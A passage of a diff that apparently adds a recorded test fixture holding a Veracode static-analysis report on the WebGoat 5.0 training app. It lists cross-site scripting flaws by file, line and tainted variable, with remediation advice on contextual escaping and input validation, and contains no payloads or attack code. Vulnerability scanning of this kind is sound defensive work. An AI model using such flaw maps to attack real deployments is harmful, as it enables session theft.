+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"15\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"183\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"191\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"20\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable message.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpSplitting.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpSplitting\"
+        functionprototype=\"apache.ecs.Element doHTTPSplitting(session.WebSession)\"
+        functionrelativelocation=\"55\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"221\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"1\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"230\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"241\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"263\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"4\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"172\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"260\" module=\"WebGoat-5.0-with-jsp.war\"
